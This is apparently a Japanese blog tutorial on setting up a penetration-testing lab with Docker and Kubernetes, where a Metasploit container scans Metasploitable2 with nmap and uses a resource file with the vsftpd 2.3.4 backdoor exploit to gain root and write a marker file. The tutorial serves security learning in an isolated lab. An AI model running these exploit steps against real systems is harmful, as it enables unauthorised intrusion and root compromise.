本記事について
この記事は,DockerやKubernetesさえ導入されていれば,他には面倒な設定無しで,簡単にペネトレーションテスト環境を構築できることを目的としています.
【本記事に掲載されている内容を,自身で管理していないサーバやネットワークに対して実施した場合は不正アクセス禁止法に抵触する可能性がありますのでご注意ください】
本記事で使用した環境
$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
$ docker --version
Docker version 18.09.0, build 4d60db4
$ minikube version
minikube version: v0.29.0
必要なもの
今回使う予定のものは,全てGitHubとDocker Hubに置いてあります.GitHubにはMetasploitイメージのDockerfileなども置いてありますので,是非使いやすいように改造してみて下さい.
それでは早速,下のコマンドを順に実行して必要なものを取ってきましょう.
$ git clone https://github.com/SauravBrahma/MetasploitImage.git
$ docker pull sauravbrahma/metasploit_image
$ docker pull tleemcjr/metasploitable2
ここまでで,今回必要なものを取ってくることが出来ましたので,実際に動かしてみましょう.
Dockerで環境構築
$ docker run --rm -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"
* Starting web server apache2 [ OK ]
* Starting deferred execution scheduler atd [ OK ]
* Starting periodic command scheduler crond [ OK ]
・
・
・
* Starting internet superserver xinetd [ OK ]
* Doing Wacom setup... [ OK ]
* Running local boot scripts (/etc/rc.local) [ OK ]
root@c3803e096580:/#
# 後で攻撃対象を指定する時にIPアドレスが必要になるので記録しておく.
root@c3803e096580:/# ifconfig | grep 172
inet addr:172.17.0.5 Bcast:172.17.255.255 Mask:255.255.0.0
# 動かしたままコンテナを抜けるために,Ctrl-p,Ctrl-qを入力した後,次のコマンドでコンテナが動いているか確認.
$ docker ps | grep tleemcjr/metasploitable2
c3803e096580 tleemcjr/metasploitable2:latest "sh -c '/bin/service…" 8 minutes ago Up 8 minutes vigorous_kalam
$ docker run --rm -it sauravbrahma/metasploit_image:latest bash
* Starting PostgreSQL 9.3 database server [ OK ]
msf_user@ef8a1f8f6923:/opt/metasploit-framework$
以上で,Dockerを使った環境構築が出来ました.また,今回は余計なコンテナが残らないよう,実行時に--rm
オプションをつけています.
Dockerでペネトレーションテストをしてみる
ここでは実際にDockerを使ってペネトレーションテストを行ってみましょう.攻撃用コンテナに現在ログインしているので,msfconsole
コマンドを入力すればMetasploitのコンソールが立ち上がります.
msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole
** Welcome to Metasploit Framework Initial Setup **
Please answer a few questions to get started.
** Metasploit Framework Initial Setup Complete **
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v4.17.35-dev- ]
+ -- --=[ 1845 exploits - 1044 auxiliary - 320 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
今回は,以下の順に進めていきたいと思います.
- Metasploitableに対してNmapをかけた結果をデータベースに格納
- 使うモジュールを決めて攻撃を行う
- Metasploitableに攻撃が成功した証拠として
You've been hacked
という内容のテキストファイルを残す - Metasploitable側にテキストファイルが残っているか確認
では攻撃していきましょう!
Metasploitableに対してNmapをかけた結果をデータベースに格納
まずは,Metasploitがデータベースに接続されているか確認しましょう.
msf > db_status
[*] postgresql connected to msf_database
msf >
今回使用しているDockerイメージは最初からデータベースに接続されているので,上記のような出力になるはずです.
では,MetasploitableにNmapをかけてその結果をデータベースに格納してみましょう.
msf > db_nmap -A 172.17.0.2
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-25 08:56 UTC
[*] Nmap: Nmap scan report for 172.17.0.2
[*] Nmap: Host is up (0.00054s latency).
[*] Nmap: Not shown: 980 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp open telnet Linux telnetd
[*] Nmap: 25/tcp open smtp Postfix smtpd
[*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T14:07:45
[*] Nmap: |_Not valid after: 2010-04-16T14:07:45
[*] Nmap: |_ssl-date: 2019-01-25T08:58:24+00:00; 0s from scanner time.
[*] Nmap: 111/tcp open rpcbind 2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: | program version port/proto service
[*] Nmap: | 100000 2 111/tcp rpcbind
[*] Nmap: | 100003 2,3,4 2049/tcp nfs
[*] Nmap: | 100003 2,3,4 2049/udp nfs
[*] Nmap: | 100005 1,2,3 50419/tcp mountd
[*] Nmap: | 100005 1,2,3 58275/udp mountd
[*] Nmap: | 100021 1,3,4 33414/tcp nlockmgr
[*] Nmap: | 100021 1,3,4 58022/udp nlockmgr
[*] Nmap: | 100024 1 42939/tcp status
[*] Nmap: |_ 100024 1 49024/udp status
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp open exec netkit-rsh rexecd
[*] Nmap: 513/tcp open login
[*] Nmap: 514/tcp open tcpwrapped
[*] Nmap: 1099/tcp open java-rmi Java RMI Registry
[*] Nmap: 1524/tcp open ingreslock?
[*] Nmap: 2121/tcp open ftp ProFTPD 1.3.1
[*] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
[*] Nmap: | mysql-info:
[*] Nmap: | Protocol: 53
[*] Nmap: | Version: .0.51a-3ubuntu5
[*] Nmap: | Thread ID: 9
[*] Nmap: | Capabilities flags: 43564
[*] Nmap: | Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsCompression, SupportsTransactions, LongColumnFlag
[*] Nmap: | Status: Autocommit
[*] Nmap: |_ Salt: g>=Vy7.~VoOz<W#H!ju
[*] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open vnc VNC (protocol 3.3)
[*] Nmap: | vnc-info:
[*] Nmap: | Protocol version: 3.3
[*] Nmap: | Security types:
[*] Nmap: |_ Unknown security type (33554432)
[*] Nmap: 6000/tcp open X11 (access denied)
[*] Nmap: 6667/tcp open irc Unreal ircd
[*] Nmap: | irc-info:
[*] Nmap: | users: 1
[*] Nmap: | servers: 1
[*] Nmap: | lusers: 1
[*] Nmap: | lservers: 0
[*] Nmap: | server: irc.Metasploitable.LAN
[*] Nmap: | version: Unreal3.2.8.1. irc.Metasploitable.LAN
[*] Nmap: | uptime: 0 days, 0:32:56
[*] Nmap: | source ident: nmap
[*] Nmap: | source host: 36620686.BF756E4.69365C88.IP
[*] Nmap: |_ error: Closing Link: pepuwvzow[172.17.0.3] (Quit: pepuwvzow)
[*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-server-header: Apache-Coyote/1.1
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[*] Nmap: SF-Port1524-TCP:V=7.01%I=7%D=1/25%Time=5C4ACF30%P=x86_64-pc-linux-gnu%r(NU
・
・
・
[*] Nmap: Host script results:
[*] Nmap: |_nbstat: NetBIOS name: 14586EEA2FB4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
[*] Nmap: | smb-os-discovery:
[*] Nmap: | OS: Unix (Samba 3.0.20-Debian)
[*] Nmap: | NetBIOS computer name:
[*] Nmap: | Workgroup: WORKGROUP
[*] Nmap: |_ System time: 2019-01-25T03:58:24-05:00
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 137.18 seconds
msf >
-A
オプションを使用しているので,なかなかに時間がかかりますが,気長に待ってあげて下さい.
これで対象の空いているポートや,そこで動いている可能性の高いサービスやOSなど色々な情報を知ることが出来ました.ちなみにこれらは当然現在ログインしているコンテナのデータベースに保存されているので,SQLからクエリを送ることでも情報を見ることが出来ます.
msf > exit
msf_user@c9521edd20f4:/opt/metasploit-framework$ psql -U msf_user msf_database
psql (9.3.17)
Type "help" for help.
msf_database=# SELECT * FROM services;
id | host_id | created_at | port | proto | state | name | updated_at | info
----+---------+----------------------------+------+-------+-------+-------------+----------------------------+--------------------------------------------
1 | 1 | 2019-01-25 08:58:27.315887 | 21 | tcp | open | ftp | 2019-01-25 08:58:27.315887 | vsftpd 2.3.4
2 | 1 | 2019-01-25 08:58:27.777045 | 22 | tcp | open | ssh | 2019-01-25 08:58:27.777045 | OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
3 | 1 | 2019-01-25 08:58:27.815226 | 23 | tcp | open | telnet | 2019-01-25 08:58:27.815226 | Linux telnetd
4 | 1 | 2019-01-25 08:58:27.848245 | 25 | tcp | open | smtp | 2019-01-25 08:58:27.848245 | Postfix smtpd
5 | 1 | 2019-01-25 08:58:27.913605 | 111 | tcp | open | rpcbind | 2019-01-25 08:58:27.913605 | 2 RPC #100000
6 | 1 | 2019-01-25 08:58:27.956202 | 139 | tcp | open | netbios-ssn | 2019-01-25 08:58:27.956202 | Samba smbd 3.X workgroup: WORKGROUP
7 | 1 | 2019-01-25 08:58:27.989778 | 445 | tcp | open | netbios-ssn | 2019-01-25 08:58:27.989778 | Samba smbd 3.X workgroup: WORKGROUP
8 | 1 | 2019-01-25 08:58:28.026979 | 512 | tcp | open | exec | 2019-01-25 08:58:28.026979 | netkit-rsh rexecd
9 | 1 | 2019-01-25 08:58:28.059262 | 513 | tcp | open | login | 2019-01-25 08:58:28.059262 |
10 | 1 | 2019-01-25 08:58:28.096009 | 514 | tcp | open | tcpwrapped | 2019-01-25 08:58:28.096009 |
11 | 1 | 2019-01-25 08:58:28.135852 | 1099 | tcp | open | java-rmi | 2019-01-25 08:58:28.135852 | Java RMI Registry
12 | 1 | 2019-01-25 08:58:28.182279 | 1524 | tcp | open | ingreslock | 2019-01-25 08:58:28.182279 |
13 | 1 | 2019-01-25 08:58:28.239117 | 2121 | tcp | open | ftp | 2019-01-25 08:58:28.239117 | ProFTPD 1.3.1
14 | 1 | 2019-01-25 08:58:28.270095 | 3306 | tcp | open | mysql | 2019-01-25 08:58:28.270095 | MySQL 5.0.51a-3ubuntu5
15 | 1 | 2019-01-25 08:58:28.302865 | 5432 | tcp | open | postgresql | 2019-01-25 08:58:28.302865 | PostgreSQL DB 8.3.0 - 8.3.7
16 | 1 | 2019-01-25 08:58:28.328482 | 5900 | tcp | open | vnc | 2019-01-25 08:58:28.328482 | VNC protocol 3.3
17 | 1 | 2019-01-25 08:58:28.372125 | 6000 | tcp | open | x11 | 2019-01-25 08:58:28.372125 | access denied
18 | 1 | 2019-01-25 08:58:28.399048 | 6667 | tcp | open | irc | 2019-01-25 08:58:28.399048 | Unreal ircd
19 | 1 | 2019-01-25 08:58:28.435059 | 8009 | tcp | open | ajp13 | 2019-01-25 08:58:28.435059 | Apache Jserv Protocol v1.3
20 | 1 | 2019-01-25 08:58:28.479801 | 8180 | tcp | open | http | 2019-01-25 08:58:28.479801 | Apache Tomcat/Coyote JSP engine 1.1
(20 rows)
msf_database=# \q
msf_user@c9521edd20f4:/opt/metasploit-framework$
こうしてデータベースにNmapをかけた結果を格納しておくことで,自動化する際にインポートしたり,結果をエクスポートしたりすることが出来ます.また,データベースに複数のエントリが存在している時,hosts
コマンドなどを使用することで,条件に合う攻撃対象を選定することも出来ます.
使うモジュールを決めて攻撃を行う
今はDEPRECATED
になってしまいましたが,Metasploitにはdb_autopwn
という自動攻撃用のプラグインが存在しています.db_autopwn
はデータベースから攻撃対象について得た情報で自動攻撃をしてくれる優れものです.今回使用しているDockerイメージでもdb_autopwn
を使えるよう設定してあります(load db_autopwn
とdb_autopwn <option>
の二つのコマンドを実行することで使えます)が,当てはまる脆弱性が多すぎるため,今回は使わず"6つの攻撃自動化手法"から違う方法を選びます.この中にコンソールを自動化出来るリソースファイルについての記述がありますね.これは何度も行うようなタスクをリソースファイルに書いておくことでタスクを自動化してくれるもののようです.さらに~/.msf4/
以下にリソースファイルを置いておくと,コンソールを呼び出す度にその中身を実行してくれるようです.
今回は特に何度も攻撃を行うわけではありませんが,後述するKubernetesで使うことも出来そうなので,リソースファイルを使って攻撃してみたいと思います.また,Nmapの結果から,21番ポートでftpのサービスが動いていることが分かったので,今回はftpに関する有名なモジュールを使用します.
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 172.17.0.2
exploit -z
sessions -i 1 -c "id"
sessions -i 1 -c "pwd"
sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt"
exit -y
リソースファイルに書くのはこれだけです.使うモジュールと攻撃対象のIPと実行命令だけです.ちなみにsessions
コマンドの部分は,-i
オプションでどのセッションに対して,-c
オプションで実行したい命令を,指定することが出来ます.
早速このリソースファイルをMetasploitから実行してみましょう.
msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole -q -r easy_pentes.rc
[*] Processing easy_pentes.rc for ERB directives.
resource (easy_pentes.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
resource (easy_pentes.rc)> set RHOST 172.17.0.2
RHOST => 172.17.0.2
resource (easy_pentes.rc)> exploit -z
[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Session 1 created in the background.
resource (easy_pentes.rc)> sessions -i 1 -c "id"
[*] Running 'id' on shell session 1 (172.17.0.2)
uid=0(root) gid=0(root)
resource (easy_pentes.rc)> sessions -i 1 -c "pwd"
[*] Running 'pwd' on shell session 1 (172.17.0.2)
/
resource (easy_pentes.rc)> sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt"
[*] Running 'echo "You've been hacked" > /hacked.txt' on shell session 1 (172.17.0.2)
resource (easy_pentes.rc)> exit -y
msf_user@c9521edd20f4:/opt/metasploit-framework$
無事に攻撃出来たようです.この攻撃によってroot権限を奪取出来ていることが確認できます.また,攻撃が成功した時点でいるディレクトリはトップの/
のようです.msfconsole
コマンドに-r
オプションをつけることでリソースファイルの読み込みを,-q
オプションをつけることでバナーを消すことも出来ます.
Metasploitable側にテキストファイルが残っているか確認
では攻撃に成功したことをMetasploitable側から確認してみましょう.Metasploitable側にログインして下さい.先ほど確認したところ,hacked.txt
を書き込んだディレクトリは/
であるはずなので,特にディレクトリの移動などはしなくて良いはずです.
root@ee769a0fc9f6:/# ls
bin boot cdrom core dev etc hacked.txt home initrd initrd.img lib lost+found media mnt nohup.out opt proc root sbin srv sys tmp usr var vmlinuz
root@ee769a0fc9f6:/# cat hacked.txt
You've been hacked
root@ee769a0fc9f6:/#
Metasploitable側からも侵害されたことを確認できました.
Dockerを用いたペネトレーションテストは以上になります.
Kubernetesでたくさん作ってみる
$ kubectl apply -f yaml/metasploit.yaml
replicaset.apps/metasploit-rc created
$ kubectl apply -f yaml/metasploitable.yaml
replicaset.apps/metasploitable2-rc created
$ kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE
metasploit-rc-nxwd2 1/1 Running 0 17s 172.17.0.5 minikube
metasploitable2-rc-f9dzd 1/1 Running 0 11s 172.17.0.6 minikube
metasploitable2-rc-mbz95 0/1 ContainerCreating 0 11s <none> minikube
metasploitable2-rc-s2lwh 0/1 ContainerCreating 0 11s <none> minikube
$ kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE
metasploit-rc-nxwd2 1/1 Running 0 23s 172.17.0.5 minikube
metasploitable2-rc-f9dzd 1/1 Running 0 17s 172.17.0.6 minikube
metasploitable2-rc-mbz95 1/1 Running 0 17s 172.17.0.8 minikube
metasploitable2-rc-s2lwh 1/1 Running 0 17s 172.17.0.7 minikube
今回は,手軽にたくさんのMetasploit PodやMetasploitable Podを作りたかったので,ReplicaSetリソースを使用しました.デフォルトでは,Metasploit Podが1つ,Metasploitable Podが3つ作られるようになっていますが,それぞれのYAMLファイルのspec.replicas
フィールドを変更することで自分の好きな分だけ検証環境を作ることが出来ます.
では,上のPodの一つに入って他のPodと通信できるか確かめてみましょう.
$ kubectl exec -it metasploit-rc-nxwd2 bash
msf_user@metasploit-rc-nxwd2:/opt/metasploit-framework$ ping 172.17.0.6
PING 172.17.0.6 (172.17.0.6) 56(84) bytes of data.
64 bytes from 172.17.0.6: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 172.17.0.6: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 172.17.0.6: icmp_seq=3 ttl=64 time=0.039 ms
64 bytes from 172.17.0.6: icmp_seq=4 ttl=64 time=0.040 ms
^C
--- 172.17.0.6 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.039/0.054/0.088/0.020 ms
無事に通信出来ているようですね.以上で,Kubernetesを使った環境構築が出来ました.
KubernetesでもDockerで示した内容と同じようにペネトレーションテストを行うことが出来ます.
以上になります.ここまで読んで下さりありがとうございました!
色んな状況を想定したペネトレーションテストにこの記事の内容が少しでもお役に立てば幸いです.; )
参考
[Docker上でMetasploit frameworkによるペネトレーションテストをやってみた]
(https://qiita.com/7vj1/items/03d8126a3d307cc2f336)
tleemcjr/metasploitable2
Six Ways to Automate Metasploit
VSFTPD v2.3.4 Backdoor Command Execution